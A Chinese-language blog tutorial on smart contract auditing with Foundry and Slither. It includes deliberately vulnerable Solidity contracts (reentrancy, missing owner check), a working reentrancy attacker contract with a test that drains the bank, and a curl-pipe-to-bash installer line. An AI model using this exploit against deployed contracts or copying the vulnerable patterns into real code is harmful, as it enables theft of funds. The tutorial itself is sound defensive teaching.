跳转到内容
123xiao | 无名键客

《区块链智能合约安全审计实战:从常见漏洞识别到自动化检测流程搭建》

字数: 0 阅读时长: 1 分钟

区块链智能合约安全审计实战:从常见漏洞识别到自动化检测流程搭建

智能合约一旦部署,往往很难“热修复”。这也是为什么 Web3 世界里,安全审计不是上线前的加分项,而是生死线。

很多团队一开始做安全,只停留在“跑一下扫描器”。但真实项目里,审计远不只是找几个告警:你需要理解漏洞形成的根因,知道哪些问题能被自动化发现,哪些必须人工推理,还要把这些能力沉淀成可重复执行的流程。本文我会从一个更偏实战的角度,带你把这件事串起来:先识别常见漏洞,再搭一条自动化检测流水线,最后结合人工复核完成闭环


背景与问题

智能合约安全和传统后端安全有一个很大的不同:攻击面小,但代价极高

常见痛点通常集中在下面几类:

  • 合约逻辑可见,攻击者可以反复研究
  • 一旦部署到主网,升级能力有限
  • 资产直接由代码控制,漏洞能直接变现
  • 开发节奏快,很多团队测试覆盖不足
  • 单纯依赖人工审计,效率低且容易遗漏边界路径

从审计角度看,问题不只是“有没有漏洞”,而是:

  1. 哪些漏洞是高频且高危的
  2. 如何快速筛出明显问题
  3. 如何把检测过程标准化、自动化
  4. 如何在自动化无法覆盖的地方补上人工分析

换句话说,真正有价值的审计体系,应该像这样分层:

flowchart TD
  A[需求与威胁建模] --> B[静态分析]
  B --> C[单元测试与属性测试]
  C --> D[模糊测试]
  D --> E[人工审计]
  E --> F[修复与回归验证]
  F --> G[上线前复审]

如果你所在团队还停留在“代码写完后临时找人看一遍”,那这篇文章会很适合你。


前置知识

建议你至少具备以下基础:

  • 会读 Solidity 合约
  • 知道 EVM、msg.sendermsg.valuedelegatecall
  • 用过 Hardhat 或 Foundry 其中之一
  • 能理解基本的测试与 CI 流程

如果暂时没全掌握,也没关系。本文会尽量把重点放在“如何动手做”。


环境准备

本文示例采用 Foundry + Slither,原因很简单:

  • Foundry:测试快,适合写攻击复现和属性测试
  • Slither:静态分析成熟,适合做自动化基线扫描

1)安装 Foundry

curl -L https://foundry.paradigm.xyz | bash
foundryup

2)安装 Python 与 Slither

python3 -m pip install --upgrade pip
pip install slither-analyzer

3)初始化项目

forge init audit-demo
cd audit-demo

项目结构大致如下:

audit-demo/
├── src/
├── test/
├── script/
└── foundry.toml

核心原理

在进入代码前,我们先统一一个思路:智能合约审计,本质是“找出状态变化与权限边界中的错误假设”

最常见的风险,大多落在以下几个维度:

1. 权限控制错误

比如:

  • 本该只有 owner 才能调用的函数,没有加限制
  • 升级入口、资金提取入口暴露给任意地址
  • 使用 tx.origin 做鉴权

2. 外部调用导致的重入

经典问题。合约在更新内部状态之前,先把钱发出去了,攻击者就可以在回调中再次进入敏感函数。

3. 整数与精度问题

Solidity 0.8 以后默认检查溢出,但这不代表数值安全问题消失了。常见问题变成:

  • 精度截断
  • 份额计算偏差
  • 利率、手续费舍入方向错误

4. 业务状态机不完整

例如:

  • 认购阶段结束后仍可重复领取
  • 销毁后还能转账
  • 清算流程顺序错误

这类问题工具不一定能直接报出来,但损失往往很大。

5. 不安全的低级调用

如:

  • call 返回值未检查
  • delegatecall 指向不可信地址
  • 任意外部地址可注入逻辑合约

审计流程怎么拆

我通常会把合约审计拆成三层:

  1. 基线自动化扫描:快速找显性漏洞
  2. 攻击路径验证:用测试或 PoC 证明问题真实可利用
  3. 人工业务审计:核对状态机、资产流、权限图

可以把它理解为下面这个闭环:

sequenceDiagram
  participant Dev as 开发
  participant Tool as 自动化工具
  participant Auditor as 审计者
  participant CI as CI流水线

  Dev->>Tool: 提交合约代码
  Tool->>CI: 静态分析/测试/模糊测试结果
  CI->>Auditor: 输出高风险告警
  Auditor->>Dev: 复现漏洞与修复建议
  Dev->>CI: 提交修复
  CI->>Auditor: 回归验证
  Auditor->>Dev: 通过上线前复审

实战代码(可运行)

下面我们用一个故意写得不安全的合约做演示,重点展示:

  • 如何识别重入漏洞
  • 如何编写攻击合约复现问题
  • 如何修复
  • 如何纳入自动化检测

示例 1:存在重入漏洞的 EtherBank

src/EtherBank.sol 中写入:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract EtherBank {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "insufficient balance");

        // 漏洞点:先转账,后更新状态
        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");

        balances[msg.sender] -= amount;
    }

    function getBankBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

这个问题很典型:外部调用发生在状态更新之前


编写攻击合约

src/Attacker.sol 中写入:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IEtherBank {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}

contract Attacker {
    IEtherBank public bank;
    uint256 public attackAmount;
    address public owner;

    constructor(address _bank) {
        bank = IEtherBank(_bank);
        owner = msg.sender;
    }

    function attack() external payable {
        require(msg.sender == owner, "not owner");
        require(msg.value >= 1 ether, "need at least 1 ether");

        attackAmount = 1 ether;
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }

    receive() external payable {
        if (address(bank).balance >= attackAmount) {
            bank.withdraw(attackAmount);
        }
    }

    function collect() external {
        require(msg.sender == owner, "not owner");
        payable(owner).transfer(address(this).balance);
    }
}

编写 Foundry 测试复现漏洞

test/EtherBank.t.sol 中写入:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "../src/EtherBank.sol";
import "../src/Attacker.sol";

contract EtherBankTest is Test {
    EtherBank bank;
    Attacker attacker;

    address user = address(0x1);
    address attackerOwner = address(0x2);

    function setUp() public {
        bank = new EtherBank();

        vm.deal(user, 10 ether);
        vm.deal(attackerOwner, 10 ether);

        vm.prank(user);
        bank.deposit{value: 5 ether}();

        vm.prank(attackerOwner);
        attacker = new Attacker(address(bank));
    }

    function testNormalWithdraw() public {
        vm.prank(user);
        bank.withdraw(1 ether);

        assertEq(address(bank).balance, 4 ether);
        assertEq(bank.balances(user), 4 ether);
    }

    function testReentrancyAttack() public {
        vm.prank(attackerOwner);
        attacker.attack{value: 1 ether}();

        assertEq(address(bank).balance, 0 ether);
        assertGt(address(attacker).balance, 1 ether);
    }
}

运行测试:

forge test -vv

如果一切正常,你会看到攻击测试通过,这说明漏洞是真实可利用的,不只是理论风险。


修复漏洞:Checks-Effects-Interactions

最基础也最有效的修复方式,是遵循 CEI 模式

  1. 先检查条件
  2. 再更新状态
  3. 最后进行外部调用

EtherBank.sol 修改为:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract EtherBank {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "insufficient balance");

        balances[msg.sender] -= amount;

        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");
    }

    function getBankBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

更进一步,你还可以加重入锁,例如 OpenZeppelin 的 ReentrancyGuard


示例 2:权限控制错误

很多时候,资金损失不是因为“高级攻击”,而是因为一个函数忘了加权限。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Vault {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    // 漏洞:任何人都能提走全部余额
    function sweep(address payable to) external {
        to.transfer(address(this).balance);
    }

    receive() external payable {}
}

正确写法至少应加上 onlyOwner

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Vault {
    address public owner;

    modifier onlyOwner() {
        require(msg.sender == owner, "not owner");
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function sweep(address payable to) external onlyOwner {
        to.transfer(address(this).balance);
    }

    receive() external payable {}
}

这类问题看起来“低级”,但在真实审计里非常常见,尤其是:

  • 管理员函数多次迭代后漏掉限制
  • 代理升级初始化流程不完整
  • 测试时默认部署者就是管理员,导致误以为逻辑没问题

自动化检测流程搭建

下面开始搭建一条最小可用的自动化审计流程。目标不是替代人工,而是把“每次都要手动做的事”固化下来。

步骤 1:本地静态分析

在项目根目录执行:

slither . --print human-summary

如果 Slither 成功识别 EtherBank 的重入模式,通常会提示重入相关风险。

也可以输出更详细结果:

slither . --detect reentrancy-eth,unchecked-lowlevel,tx-origin

这里我建议先聚焦几类高价值检测器:

  • reentrancy-*
  • unchecked-lowlevel
  • tx-origin
  • uninitialized-*
  • shadowing-*
  • arbitrary-send-*

步骤 2:测试与攻击复现纳入 CI

创建 GitHub Actions 文件 .github/workflows/security.yml

name: security-check

on:
  push:
    branches: [ main ]
  pull_request:

jobs:
  smart-contract-security:
    runs-on: ubuntu-latest

    steps:
      - name: Checkout
        uses: actions/checkout@v4

      - name: Install Foundry
        uses: foundry-rs/foundry-toolchain@v1

      - name: Run Forge Tests
        run: forge test -vvv

      - name: Setup Python
        uses: actions/setup-python@v5
        with:
          python-version: "3.11"

      - name: Install Slither
        run: pip install slither-analyzer

      - name: Run Slither
        run: slither . --fail-high --print human-summary

这个流程做了三件事:

  • 每次提交自动跑测试
  • 自动运行静态分析
  • 高危问题直接让 CI 失败

这是非常关键的一步。因为安全能力一旦不进 CI,就会迅速退化成“上线前临时想起来”。


步骤 3:加入模糊测试思路

静态分析很适合发现模式型漏洞,但不擅长复杂业务约束。这个时候模糊测试很有价值。

例如,我们给 EtherBank 写一个简单的不变量思路:用户余额映射之和不应该超过合约总余额

虽然这个例子比较简单,但能帮你建立“从功能测试走向安全属性测试”的意识。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "../src/EtherBank.sol";

contract EtherBankInvariantTest is Test {
    EtherBank bank;
    address user1 = address(0x11);
    address user2 = address(0x12);

    function setUp() public {
        bank = new EtherBank();
        vm.deal(user1, 10 ether);
        vm.deal(user2, 10 ether);
    }

    function testFuzz_Deposit(uint96 amount1, uint96 amount2) public {
        vm.assume(amount1 > 0 && amount1 <= 5 ether);
        vm.assume(amount2 > 0 && amount2 <= 5 ether);

        vm.prank(user1);
        bank.deposit{value: amount1}();

        vm.prank(user2);
        bank.deposit{value: amount2}();

        uint256 totalTracked = bank.balances(user1) + bank.balances(user2);
        assertEq(totalTracked, address(bank).balance);
    }
}

运行:

forge test --match-test testFuzz -vv

用“资产流 + 权限图”做人工复核

自动化工具能帮你发现一批问题,但真正决定审计深度的,仍然是业务理解

我自己做人工审计时,通常会先画两张图:

  1. 资产流图:钱从哪里来,到哪里去,中间谁能改变路径
  2. 权限图:谁能调用什么函数,谁能升级、暂停、提币、改参数

比如一个典型资金合约可以抽象为:

classDiagram
  class User {
    +deposit()
    +withdraw()
  }

  class Vault {
    +balances
    +deposit()
    +withdraw()
    +pause()
    +sweep()
  }

  class Owner {
    +pause()
    +sweep()
    +setConfig()
  }

  User --> Vault : 调用
  Owner --> Vault : 管理权限

只要把这张图画出来,很多问题会立刻变清楚:

  • 是否存在“普通用户可触发管理员行为”
  • 是否存在“管理员权限过大且无延迟”
  • 是否存在“升级后能直接替换资产逻辑”
  • 是否存在“暂停后仍可提币/铸币/清算”

常见坑与排查

这部分我尽量说一些工程里真会踩到的坑。

1. 扫描器没报,不代表安全

这是最常见误区。

像下面这些问题,扫描器经常帮不上太多:

  • 经济模型设计缺陷
  • 清算阈值设置不合理
  • 手续费可被绕过
  • 状态机顺序错误
  • 多合约协同时序漏洞

排查建议:

  • 对核心流程画状态转换图
  • 手动列出“谁能改变哪些关键变量”
  • 针对资产相关函数做逐条推演

2. 只测 happy path,不测攻击路径

很多测试写得很多,但其实都在验证“正常用户怎么成功操作”,没有验证“恶意用户怎么破坏系统”。

排查建议:

  • 每个资金函数至少问自己三个问题:
    • 能否重入?
    • 能否重复领取?
    • 能否绕过权限或前置条件?

3. 升级合约初始化遗漏

代理模式里非常容易出事故:

  • 初始化函数可被重复调用
  • 实现合约未禁用初始化
  • 存储布局升级冲突

排查建议:

  • 使用 OpenZeppelin Upgradeable 规范
  • 检查 initializer / reinitializer
  • 升级前后对关键存储槽做回归测试

4. call 成功不等于业务成功

低级调用只代表“没 revert”,不代表被调方真的完成了你的业务意图。

排查建议:

  • 明确区分“调用成功”和“状态符合预期”
  • 对跨合约交互增加结果校验
  • 尽量使用清晰接口而非裸 call

5. 误用 block.timestamp 和链上随机性

有人会用时间戳做奖池开奖、稀有属性生成,这在安全上通常不可靠。

排查建议:

  • 不把矿工可影响的变量作为随机源
  • 涉及随机性时采用 VRF 等可验证方案
  • 对“时间窗口”逻辑加入边界测试

安全/性能最佳实践

安全和性能不是完全对立的,但顺序一定要对:先保证正确性,再谈 gas 优化

安全最佳实践

1. 先写权限模型,再写代码

在编码前先定义:

  • 谁是 owner
  • 哪些角色可以暂停、升级、提币、改参数
  • 是否需要多签和时间锁

如果权限边界一开始没想清楚,后面靠补丁很难补完整。


2. 资金相关逻辑优先采用 CEI

对于任何涉及资产转移的函数,优先检查:

  • 状态是否先更新
  • 外部调用是否必要
  • 是否需要重入锁

3. 关键逻辑写成“不变量”

比如:

  • 总资产 >= 总负债
  • 用户可提金额 <= 用户份额对应资产
  • 一个订单只能成交或取消一次

一旦你能把业务规则写成不变量,就能明显提升自动化检测效果。


4. 对管理员能力做约束

管理员不是“无限信任”的代名词。建议:

  • 高危管理操作接入多签
  • 关键变更增加 timelock
  • 参数修改设置上下限
  • 升级前后做差异审计

性能最佳实践

1. 不要为了省 gas 牺牲可读性与安全性

比如用复杂内联汇编、手写位运算,确实可能省一点 gas,但也会显著提高审计成本。

中级团队尤其要克制这一点。

2. 把高频读路径和高频写路径分开考虑

  • 高频读:关注 view 函数结构和索引设计
  • 高频写:关注存储写次数、循环长度、批量操作上限

3. 避免无上界循环处理用户资金

这不仅是性能问题,也是 DoS 风险。比如批量分红、批量清算、批量退款,都需要分页或用户自助领取机制。


逐步验证清单

如果你想把本文内容落地到自己的项目,我建议按这个顺序执行:

第一步:做最小基线扫描

  • forge test
  • slither .
  • 修掉高危和中危显性问题

第二步:补攻击复现测试

针对以下函数至少写一类攻击测试:

  • 提现
  • 铸造/销毁
  • 升级
  • 奖励领取
  • 清算

第三步:列出系统不变量

至少写出 3 个以上,例如:

  • 总供应量与余额映射一致
  • 提现后用户余额不会为负
  • 重复领取不会增加收益

第四步:人工走查权限与状态机

检查:

  • 是否有未授权入口
  • 是否有状态切换遗漏
  • 是否存在暂停绕过
  • 是否存在升级后初始化风险

第五步:接入 CI

确保每次 PR 都会自动执行:

  • 编译
  • 单元测试
  • 模糊测试
  • 静态分析

一个更实用的审计判断标准

中级开发者经常会问:“工具都绿了,是不是就能上线了?”

我的建议是,至少同时满足下面三个条件:

stateDiagram-v2
  [*] --> 静态分析通过
  静态分析通过 --> 攻击测试覆盖核心路径
  攻击测试覆盖核心路径 --> 人工审计完成
  人工审计完成 --> 上线评审
  上线评审 --> [*]

也就是:

  • 工具层面:没有明显高危告警
  • 测试层面:关键资产路径有攻击复现和回归测试
  • 人工层面:权限、状态机、经济模型都被审过

少任何一层,都容易留下盲区。


总结

智能合约安全审计,真正难的不是“知道几个漏洞名词”,而是把它变成一套稳定的工程流程。

这篇文章我们做了几件关键的事:

  • 识别了重入、权限控制等高频漏洞
  • 用 Foundry 编写了可运行的漏洞复现代码
  • 用 Slither 搭了基础自动化检测
  • 把测试、扫描、回归纳入 CI
  • 说明了自动化边界,以及人工审计该怎么补位

如果你现在就要落地,我给你的可执行建议很简单:

  1. 先把高风险函数列出来:提现、升级、管理员操作、奖励发放
  2. 给每个函数补一条攻击测试:不是只测成功路径
  3. 在 CI 里接入静态分析和测试:让安全变成默认动作
  4. 人工画出权限图和资产流图:很多业务漏洞会自己浮出来
  5. 主网部署前做一次完整回归:尤其是升级合约和参数修改

最后也要提醒边界条件:
自动化工具能显著提高下限,但很难保证上限。 对于 DeFi、跨链桥、清算系统、复杂治理模块这类高价值场景,专业人工审计仍然是必需项,必要时还应结合形式化验证与赏金计划。

如果你能把“漏洞识别 + PoC 复现 + 自动化流水线 + 人工复核”这四步走顺,团队的智能合约安全水平,通常会有一个非常明显的提升。


分享到:

上一篇
《分布式架构中基于 Saga 模式的订单系统一致性设计与落地实践》
下一篇
《Java 中基于 CompletableFuture 的异步编排实战:从并发优化到异常处理落地》